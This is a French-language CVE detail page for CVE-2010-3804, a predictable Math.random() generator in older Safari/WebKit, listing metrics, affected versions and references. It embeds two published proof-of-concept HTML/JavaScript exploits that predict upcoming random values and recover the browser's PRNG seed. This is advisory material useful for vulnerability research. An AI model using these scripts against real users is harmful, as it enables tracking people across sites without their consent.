CVE-2010-3804 : Détail

CVE-2010-3804

A02-Cryptographic Failures
17.04%V4
Network
2010-11-20
20h00 +00:00
2017-09-18
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The JavaScript implementation in WebKit in Apple Safari before 5.0.3 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1.3 on Mac OS X 10.4, uses a weak algorithm for generating values of random numbers, which makes it easier for remote attackers to track a user by predicting a value, a related issue to CVE-2008-5913 and CVE-2010-3171.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 35005

Date de publication : 2010-11-17 23h00 +00:00
Auteur : Amit Klein
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/44952/info WebKit is prone to a random-number-generator weakness. Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage. Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks. NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it. <html> <body> <script> document.write("Browser: "+navigator.userAgent); </script> <br> <br> <script> interval=200; iid=null; function setint() { interval=document.getElementById('x').value; clearInterval(iid); iid=setInterval("recalc()",interval); return; } </script> <form> Polling interval:<br> Use low values (e.g. 200) for PRNG state mark demo and reseed counting<br> Use high values (e.g. 5000) for PRNG prediction demo<br> <input type="text" id="x" value="200"><br> <input type="button" value="Change" onClick="setint();"> </form> Total MSVCRT PRNG invocations (since this page load): <div id="total"></div><br> MSVCRT PRNG invocations since last reseed: <div id="current"></div><br> MSVCRT PRNG reseed count (since this page load): <div id="reseed"></div><br> MSVCRT PRNG state mark: <div id="mark"></div><br> Current Math.random(): <div id="math_random"></div><br> Calculated next Math.random() values: <div id="next"></div><br> <script> var total_counter=0; var current_counter=0; var reseed_counter=0; var state=0; var mark=0; function adv(x) { return (214013*x+2531011) & 0x7FFFFFFF; } function update_counters(reseed) { document.getElementById("total").innerText=total_counter; document.getElementById("current").innerText=current_counter; document.getElementById("reseed").innerText=reseed_counter; document.getElementById("mark").innerText=mark; m=Math.random(); state=adv(state); state2=adv(state); state2=adv(state2); document.getElementById("math_random").innerText=m; document.getElementById("next").innerText= ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30 ); state2=adv(state2); state2=adv(state2); document.getElementById("next").innerText+=" "+ ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30 ); } function find_mark(st) { for (;;) { if ((st & 0x3FF)==0) { return st>>10; } st=adv(st); } } function recalc() { var rr=new Array(); rr[0]=Math.random()*Math.pow(2,30); // Try to resync with the PRNG. // Allow up to 1000 iterations from previous sync for (k=0;k<1000;k++) { state=adv(state); if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) && (((adv(state)>>16)&0x7FFF)==(rr[0]>>15))) { state=adv(state); total_counter+=k; current_counter+=k; mark=find_mark(state); update_counters(false); return; } } rr[1]=Math.random()*Math.pow(2,30); var r=new Array(); for (i=0;i<2;i++) { r.push(rr[i] & 0x7FFF); r.push(rr[i]>>15); } for (v=0;v<(1<<16);v++) { state=(r[0]<<16)|v; for (j=1;j<4;j++) { state=adv(state); if (((state>>16)&0x7FFF)!=r[j]) { break; } } if (j==4) { reseed_counter++; current_counter=0; mark=find_mark(state); update_counters(true); return; } } } recalc(); setint(); </script> </body> </html>
Exploit Database EDB-ID : 35006

Date de publication : 2010-11-17 23h00 +00:00
Auteur : Amit Klein
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/44952/info WebKit is prone to a random-number-generator weakness. Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage. Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks. NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it. <html> <body> <script> document.write("userAgent: "+navigator.userAgent); </script> <br> <br> <div id="foo"></div> <form> <input type="button" value="Calculate Safari 5.0 (Windows) PRNG seed and mileage" onClick="calc_seed()"> </form> <script> function calc_seed() { r1=Math.random()*Math.pow(2,32); r2=Math.random()*Math.pow(2,32); H=r1; L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16))) & 0xFFFFFFFF; // 10000 is just an arbitrary limit to make sure the // algorithm doesn't run into an endless loop on // non-vulnerable browsers for (k=0;k<10000;k++) { L=(L-H) & 0xFFFFFFFF; H=(H-L) & 0xFFFFFFFF; H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16); if ((H^L)==0x49616E42) { document.getElementById("foo").innerText= "PRNG Seed: "+H+" "+ "(First page rendered: "+ (new Date(H*1000)).toString()+")\n"+ "PRNG mileage: "+k; return; } } document.getElementById("foo").innerText= "Could not find seed\n"+ "Are you sure it's Safari 5.0 for Windows?"; return; } </script> </body> </html>

Products Mentioned

Configuraton 0

Apple>>Safari >> Version To (including) 5.0.2

Apple>>Safari >> Version 5.0

Apple>>Safari >> Version 5.0.1

Apple>>Webkit >> Version *

Apple>>Mac_os_x >> Version 10.5

Apple>>Mac_os_x >> Version 10.5.0

Apple>>Mac_os_x >> Version 10.5.1

Apple>>Mac_os_x >> Version 10.5.2

Apple>>Mac_os_x >> Version 10.5.3

Apple>>Mac_os_x >> Version 10.5.4

Apple>>Mac_os_x >> Version 10.5.5

Apple>>Mac_os_x >> Version 10.5.6

Apple>>Mac_os_x >> Version 10.5.7

Apple>>Mac_os_x >> Version 10.5.8

Apple>>Mac_os_x >> Version 10.6.0

Apple>>Mac_os_x >> Version 10.6.1

Apple>>Mac_os_x >> Version 10.6.2

Apple>>Mac_os_x >> Version 10.6.3

Apple>>Mac_os_x >> Version 10.6.4

Apple>>Mac_os_x >> Version 10.6.5

Apple>>Mac_os_x_server >> Version 10.5

Apple>>Mac_os_x_server >> Version 10.5.0

Apple>>Mac_os_x_server >> Version 10.5.1

Apple>>Mac_os_x_server >> Version 10.5.2

Apple>>Mac_os_x_server >> Version 10.5.3

Apple>>Mac_os_x_server >> Version 10.5.4

Apple>>Mac_os_x_server >> Version 10.5.5

Apple>>Mac_os_x_server >> Version 10.5.6

Apple>>Mac_os_x_server >> Version 10.5.7

Apple>>Mac_os_x_server >> Version 10.5.8

Apple>>Mac_os_x_server >> Version 10.6.0

Apple>>Mac_os_x_server >> Version 10.6.1

Apple>>Mac_os_x_server >> Version 10.6.2

Apple>>Mac_os_x_server >> Version 10.6.3

Apple>>Mac_os_x_server >> Version 10.6.4

Apple>>Mac_os_x_server >> Version 10.6.5

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Configuraton 0

Apple>>Safari >> Version To (including) 4.1.2

Apple>>Safari >> Version 1.0

Apple>>Safari >> Version 1.0

Apple>>Safari >> Version 1.0

Apple>>Safari >> Version 1.0.0

Apple>>Safari >> Version 1.0.0b1

Apple>>Safari >> Version 1.0.0b2

Apple>>Safari >> Version 1.0.1

Apple>>Safari >> Version 1.0.2

Apple>>Safari >> Version 1.0.3

Apple>>Safari >> Version 1.0.3

Apple>>Safari >> Version 1.0.3

Apple>>Safari >> Version 1.1

Apple>>Safari >> Version 1.1.0

Apple>>Safari >> Version 1.1.1

Apple>>Safari >> Version 1.2

Apple>>Safari >> Version 1.2.0

Apple>>Safari >> Version 1.2.1

Apple>>Safari >> Version 1.2.2

Apple>>Safari >> Version 1.2.3

Apple>>Safari >> Version 1.2.4

Apple>>Safari >> Version 1.2.5

Apple>>Safari >> Version 1.3

Apple>>Safari >> Version 1.3.0

Apple>>Safari >> Version 1.3.1

Apple>>Safari >> Version 1.3.2

Apple>>Safari >> Version 1.3.2

Apple>>Safari >> Version 1.3.2

Apple>>Safari >> Version 2

Apple>>Safari >> Version 2.0

Apple>>Safari >> Version 2.0.0

Apple>>Safari >> Version 2.0.1

Apple>>Safari >> Version 2.0.2

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.4

Apple>>Safari >> Version 3

Apple>>Safari >> Version 3.0

Apple>>Safari >> Version 3.0.0

Apple>>Safari >> Version 3.0.0b

Apple>>Safari >> Version 3.0.1

Apple>>Safari >> Version 3.0.1b

Apple>>Safari >> Version 3.0.2

Apple>>Safari >> Version 3.0.2b

Apple>>Safari >> Version 3.0.3

Apple>>Safari >> Version 3.0.3b

Apple>>Safari >> Version 3.0.4

Apple>>Safari >> Version 3.0.4b

Apple>>Safari >> Version 3.1.0

Apple>>Safari >> Version 3.1.0b

Apple>>Safari >> Version 3.1.1

Apple>>Safari >> Version 3.1.2

Apple>>Safari >> Version 3.2.0

Apple>>Safari >> Version 3.2.1

Apple>>Safari >> Version 3.2.2

Apple>>Safari >> Version 4.1

Apple>>Safari >> Version 4.1.1

Apple>>Webkit >> Version *

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.0

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x >> Version 10.4.6

Apple>>Mac_os_x >> Version 10.4.7

Apple>>Mac_os_x >> Version 10.4.8

Apple>>Mac_os_x >> Version 10.4.9

Apple>>Mac_os_x >> Version 10.4.10

Apple>>Mac_os_x >> Version 10.4.11

Apple>>Mac_os_x_server >> Version 10.4

Apple>>Mac_os_x_server >> Version 10.4.0

Apple>>Mac_os_x_server >> Version 10.4.1

Apple>>Mac_os_x_server >> Version 10.4.2

Apple>>Mac_os_x_server >> Version 10.4.3

Apple>>Mac_os_x_server >> Version 10.4.4

Apple>>Mac_os_x_server >> Version 10.4.5

Apple>>Mac_os_x_server >> Version 10.4.6

Apple>>Mac_os_x_server >> Version 10.4.7

Apple>>Mac_os_x_server >> Version 10.4.8

Apple>>Mac_os_x_server >> Version 10.4.9

Apple>>Mac_os_x_server >> Version 10.4.10

Apple>>Mac_os_x_server >> Version 10.4.11

Références

http://secunia.com/advisories/43068
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT4455
Tags : x_refsource_CONFIRM
http://www.vupen.com/english/advisories/2011/0212
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2010/3046
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42314
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT4456
Tags : x_refsource_CONFIRM